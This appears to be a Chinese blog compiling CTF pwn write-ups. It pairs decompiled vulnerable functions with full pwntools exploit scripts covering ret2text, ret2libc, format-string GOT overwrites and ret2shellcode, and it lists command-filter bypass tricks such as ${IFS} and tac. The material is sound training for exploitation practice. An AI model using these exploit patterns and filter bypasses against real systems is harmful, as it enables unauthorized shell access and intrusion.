Pwn题做得还是太少了,希望真的能做到每日一Pwn吧@_@
CTFHUB——ret2text
1
2
3
4
5
6
7
8
|
from pwn import *
host = 'challenge-6d9543332f6f24b5.sandbox.ctfhub.com'
port = 33376
#io = process("./pwn")
io = connect(host, port)
payload = 'A' * 0x78 + p64(0x4007b8)
io.sendline(payload)
io.interactive()
|
[SWPUCTF 2021 新生赛]nc签到
1
2
3
4
5
6
7
8
|
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
#IFS表示 Internal Field Separator (内部字段分隔符)
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
|
下载附件,得到一个py文本文件,发现过滤了好多命令
法1、nc上后直接su提权,然后cat flag
法2、使用引号截断:l’s’ c’at’$IFS$9flag
法3、使用tac绕过cat过滤(tac是从最后一行倒序显示内容,并将所有内容输出)
1
2
3
4
5
|
from pwn import *
p = remote("1.14.71.254",28082)
p.sendline("tac$IFS$9flag")
print(p.recv())
p.interactive()
|
1
2
3
4
5
6
7
8
9
10
11
|
#Linux下绕过空格过滤的方法:
#cat flag.txt
cat${IFS}flag.txt
#${IFS} 对应 内部字段分隔符
cat$IFS$9flag.txt
#${9} 对应 空字符串
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
#${PS2} 对应字符 '>'
#${PS4} 对应字符 '+'
|
1
2
3
4
5
|
#Windows下绕过空格过滤的方法:
(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456
|
[SWPUCTF 2021 新生赛]gift_pwn
有system("/bin/sh")的ret2text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
#context(log_level='debug',arch='i386', os='linux')
context(log_level='debug', arch='amd64', os='linux')
#pwnfile= './question_4_3_x86'
#io = process(pwnfile)
io = remote('1.14.71.254', 28707)
# elf = ELF(pwnfile)
# rop = ROP(pwnfile)
padding = 0x18
#debug
""" gdb.attach(io)
pause() """
"""leak_func_name ='write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']"""
sh_addr = 0x4005B6
payload = b'a' * padding + p64(sh_addr)
#payload = flat(['a'*padding, return_addr])
#payload = flat([cyclic(padding), return_addr,sh_addr])
# delimiter = ''
# io.sendlineafter(delimiter, payload)
io.sendline(payload)
io.interactive()
|
[CISCN 2019华北]PWN1
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
|
法1、
也就是说只要通过栈溢出把v2的值覆盖为11.28125就可以得到flag
因为这里是浮点数,要先转换为16进制(0x41348000),然而float类型的长度是四字节,
所以不能用p64,要用p32发送
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
#context(log_level='debug',arch='i386', os='linux')
context(log_level='debug', arch='amd64', os='linux')
#pwnfile= './question_4_3_x86'
#io = process(pwnfile)
io = remote('1.14.71.254', 28146)
# elf = ELF(pwnfile)
# rop = ROP(pwnfile)
padding = 0x30 - 0x4
#debug
""" gdb.attach(io)
pause() """
"""leak_func_name ='write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']"""
sh_addr = 0x4005B6
v2 = 0x41348000
payload = b'a' * padding + p32(v2)
#payload = flat(['a'*padding, return_addr])
#payload = flat([cyclic(padding), return_addr,sh_addr])
delimiter = "Let's guess the number.\n"
io.sendlineafter(delimiter, payload)
# io.sendline(payload)
io.interactive()
|
ret2text-cyclic
1
2
3
4
5
6
7
8
9
|
# -*- coding: UTF-8 -*-
from pwn import *
io = process('./ret2text')
binsh_addr = 0x804863A
payload = b'a' * 112 + p32(binsh_addr)
delimiter = 'There is something amazing here, do you know anything?'
io.sendafter(delimiter, payload)
io.interactive()
|
攻防世界pwn-200
ret2libc_x86
开了栈不可执行保护
所以思路是把‘/bin/sh’写入bss段然后执行
通过write和read函数泄露libc的地址
1
2
3
4
5
6
7
|
ssize_t sub_8048484()
{
char buf[108]; // [esp+1Ch] [ebp-6Ch] BYREF
setbuf(stdin, buf);
return read(0, buf, 0x100u);
}
|
法1、
python exp.py pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './pwn200'
#通过sys.argv来确定打本地还是打远程
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('61.147.171.105', 50890)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
""" gdb.attach(io)
pause() """
start_addr = 0x080483d0
func_addr = 0x08048484
padding = 0x70
delimiter = 'Welcome to XDCTF2015~!'
write_plt = elf.symbols['write']#自动获取write函数的地址
read_plt = elf.symbols['read']
def leak(address):
#泄露地址的板子
payload = flat([b'a' * padding, write_plt, func_addr, 1, address, 4])
#write函数和read函数都有三个参数,第三个参数代表字节长度
io.sendline(payload)
# io.sendlineafter(delimiter,payload)
data = io.recv(4)
print(data)
return data
print(io.recv())
dyn = DynELF(leak, elf=ELF(pwnfile))
sys_addr = dyn.lookup("system", 'libc')
#自动获取泄露出来的libc中system函数的地址
print("system address:", hex(sys_addr))
payload1 = flat([b'a' * padding, start_addr])
# io.sendlineafter(delimiter,payload1)
# #调用start函数恢复栈
io.sendline(payload1)
io.recv()
ppp_addr = 0x0804856c
#这里是pop三次是栈指针指向system函数
bss_addr = elf.bss()
payload2 = flat([
b'a' * padding, read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, func_addr,
bss_addr
])
#payload = b'a' * padding + p32(return_addr) + p32(sh_addr)
io.sendline(payload2)
io.send('/bin/sh')
io.interactive()
|
法2、
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './pwn200'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('61.147.171.105', 50890)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
""" gdb.attach(io)
pause() """
start_addr = 0x080483d0
func_addr = 0x08048484
bss_addr = 0x804A048
#使用bss结尾处的内存区域,read之后跳转到start,程序会再次修改stdin和stdout的值
padding = 0x70
delimiter = 'Welcome to XDCTF2015~!\n'
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
def leak(address):
payload = flat([b'a' * padding, write_plt, start_addr, 1, address, 4])
# io.sendline(payload)
io.sendlineafter(delimiter, payload)
data = io.recv(4)
print(data)
return data
dyn = DynELF(leak, elf=ELF(pwnfile))
sys_addr = dyn.lookup("system", 'libc')
print("system address:", hex(sys_addr))
payload1 = flat([b'a' * padding, read_plt, start_addr, 0, bss_addr, 8])
io.sendlineafter(delimiter, payload1)
io.sendline('/bin/sh')
payload2 = flat([b'a' * padding, sys_addr, 0xdeadbeef, bss_addr])
#此时bss_addr上的值还是'/bin/sh'
io.sendlineafter(delimiter, payload2)
io.interactive()
|
[SWPUCTF 2021 新生赛]whitegive_pwn(ret2libc_本地libc)
1
2
3
4
5
|
__int64 vuln()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
return gets(v1);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
libc = ELF('./libc-2.23.so')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254',28930)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
main_addr = 0x4006D6
pop_rdi_ret_addr=0x0000000000400763
ret_addr = 0x0000000000400509
# exit_addr = 0x08048558
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
padding = 0x10+0x8
payload = flat([b'a'*padding,pop_rdi_ret_addr,puts_got,puts_plt,main_addr])
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr is : "+hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base+next(libc.search(b'/bin/sh'))
# print(hex(next(libc.search(b'/bin/sh'))))
# next() 返回迭代器的下一个项目
payload2 = flat([b'a'*padding,ret_addr,pop_rdi_ret_addr,binsh_addr,system_addr])
io.sendline(payload2)
io.interactive()
|
ciscn_2019_n_8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
|
经过观察可以发现只要使var[13]==17即可触发/bin/sh
只需连续输入14个17就可使var[13]==17
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
io = remote('node4.buuoj.cn',27987)
# io = process('./ciscn_2019_n_8')
payload = p32(0x11) * 14
#payload = p32(17) * 14
io.sendline(payload)
io.interactive()
|
bjdctf_2020_babystack
有system(’/bin/sh’)的简单的ret2text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './bjdctf_2020_babystack'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 29341)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
# gdb.attach(io)
# pause()
ret_addr=0x400561
sys_addr=0x4006E6
payload=flat([b'a'*0x18,ret_addr,sys_addr])
io.sendlineafter(b'name:\n',b'-1')
io.sendlineafter(b'name?\n',payload)
io.interactive()
|
GeekChallenge——pwn2_1
1
2
3
4
5
6
7
|
from pwntools import *
init("./pwn2_1")
payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
sl(payload)
ia()
|
2017-UIUCTF-pwn200 GoodLuck(fmtstr_x64)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h] BYREF
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = gets(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
from LibcSearcher import *
goodluck = ELF('./goodluck')
if args['REMOTE']:
sh = remote('pwn.sniperoj.cn', 30017)
else:
sh = process('./goodluck')
payload = b"%9$s"
print (payload)
##gdb.attach(sh)
print (sh.recv())
sh.sendline(payload)
print (sh.recv())
# sh.interactive()
|
2016-CCTF-pwn3(fmtstr)(有问题)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
int get_file()
{
char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF
char s1[40]; // [esp+E4h] [ebp-34h] BYREF
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", s1);
if ( !strncmp(s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, s1) )
{
strcpy(dest, i + 40);
return printf(dest);
}
}
return printf(dest);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
sh = remote('111', 111)
else:
sh = process('./pwn3')
def get(name):
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(name)
data = sh.recv()
return data
def put(name, content):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(content)
def show_dir():
sh.sendline('dir')
tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i) - 1)
## password
def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)
##password
password()
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])
## get addr of system
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))
## modify puts@got, point to system_addr
payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')
## system('/bin/sh')
show_dir()
sh.interactive()
|
BUUO-Jciscn_2019_c_1(ret2libc)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);//清空缓冲区
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();//表单初始化
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();//Vuln-ret2libc
begin();
}
puts("Something Wrong!");
return 0;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);//Stackoverflow
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )//利用b‘/x00’和strlen()绕过encrypt()
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 25164)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
# 本地换多个版本libc打
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts']
#用puts函数plt表的地址调用puts函数
puts_got = elf.got['puts']
main_addr=elf.symbols['main']
pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
io.recvline()
io.sendline('1')
padding = 0x58
payload = flat([b'a' * padding, pop_rdi_ret, puts_got, puts_plt, main_addr])
io.recvline()
io.sendline(payload)
io.recvline()
io.recvline()
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
# puts_addr = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
#从0x7F(这一行末尾)往前截取六字节,然后用\x00补全八字节
#截取低三位,分页机制导致libc后三位恒不变,加以区分。
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
# 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()
io.recvline()
io.sendline(b'1')
payload2=flat([b'0',b'a' * (padding-0x01), ret_addr,pop_rdi_ret, binsh_addr,sys_addr])
# 高版本libc加上ret来平衡堆栈
io.recv()
io.sendline(payload2)
io.interactive()
# 由于页对齐机制
# 4kb为一页
# 4kb=4*1024=2^12=0x1000
# 所有页都是这样对齐的, 所以在分配给动态链接库的时候
# 不会影响到低三字节
# 由此可以确定版本信息了
# 那种分配给动态链接库的内存, 也是n个页
# n*0x1000怎么样都不会影响低三字节的
|
JarvisOj [XMAN]level-1(ret2shellcode)
1
2
3
4
5
6
|
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote("pwn2.jarvisoj.com",9877)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
shellcode = asm(shellcraft.i386.linux.sh())
line = io.recvline()[14:-2]
# print(line)
buf_addr = int(line,16)
# 将十六进制数转为十进制数
# print(buf_addr)
payload = shellcode + b'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
|
[watevrCTF 2019]Voting Machine 1(ret2text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254',28835)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
# print(io.recv())
padding = 0xa
flag_addr=0x400807
payload = flat([b'a' * padding,flag_addr])
io.sendline(payload)
io.interactive()
|
[2021 鹤城杯]babyof(ret2libc)
1
2
3
4
5
6
7
8
|
int sub_400632()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
return puts("I hope you win");
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254',28795)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
ret_addr=0x0000000000400506
pop_rdi_ret_addr=0x0000000000400743
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x40066B
padding = 0x40+0x8
payload = flat([b'a' * padding,pop_rdi_ret_addr,puts_got,puts_plt,main_addr])
io.recv()
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
payload1 =flat([b'a' * padding,ret_addr,pop_rdi_ret_addr,binsh_addr,sys_addr])
io.recv()
io.sendline(payload1)
io.interactive()
|
BUUOJ-ciscn_2019_en_2 / [CISCN 2019东北]PWN2(ret2libc_x64)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './3'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254',28986)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
ret_addr=0x00000000004006b9
pop_rdi_ret_addr=0x0000000000400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28
padding = 0x50+0x8
payload = flat([b'\x00',b'a' * (padding-0x1),pop_rdi_ret_addr,puts_got,puts_plt,main_addr])
io.recv()
io.sendline('1')
io.recv()
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
payload1 =flat([b'\x00',b'a' *(padding-0x1),ret_addr,pop_rdi_ret_addr,binsh_addr,sys_addr])
io.recv()
io.sendline('1')
io.recv()
io.sendline(payload1)
io.interactive()
|
BUU[OGeek2019]babyrop(ret2libc_x86_本地libc)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;//影响不到
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
|
1
2
3
4
5
6
7
8
9
10
|
ssize_t __cdecl sub_80487D0(char a1)//上一个程序的buf[7]是a1
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
//这里有栈溢出漏洞
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
libc = ELF('./libc-2.23.so')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn',26127)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
main_addr = 0x8048825
exit_addr = 0x08048558
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=flat([b'\x00',b'\xff'*7])
io.sendline(payload1)
io.recv()
padding = 0xe7+0x4
payload2=flat([b'a'*padding,write_plt,main_addr,1,write_got,4])
io.sendline(payload2)
write_addr = u32(io.recv(4))
print("write_addr is : "+hex(write_addr))
libc_base = write_addr-libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base+next(libc.search(b'/bin/sh'))
# print(hex(next(libc.search(b'/bin/sh'))))
# next() 返回迭代器的下一个项目
payload3 = flat([b'a'*padding,system_addr,exit_addr,binsh_addr])
# 返回地址不填exit_addr有可能会没有回显
io.sendline(payload1)
io.recv()
io.sendline(payload3)
io.interactive()
|
get_started_3dsctf_2016(ret2text or ret2shellcode)
1
2
3
4
5
6
7
8
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}
|
exp
ret2text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 25543)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
getflag_addr=0x080489A0
padding = 0x38
exit_addr = 0x0804E6A0
# io.recv()
payload = flat([b'a' * padding, getflag_addr,exit_addr,814536271,425138641])
io.sendline(payload)
io.interactive()
|
ret2shellcode(还不是很熟练)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',28526)
elf = ELF('./get_started_3dsctf_2016')
bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5
payload = 'A' * 0x38 + p32(elf.sym['mprotect']) + p32(pop_ebx_esi_edi_ret) + p32(bss) + p32(0x2c) + p32(7)
payload += p32(elf.sym['read']) + p32(bss) + p32(0) + p32(bss) + p32(0x2c)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
|
jarvisoj_level2_x64(ret2sys+ROPgadget)
1
2
3
4
5
6
7
|
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
system("echo Input:");
return read(0, buf, 0x200uLL);
}
|
exp
1
2
3
4
5
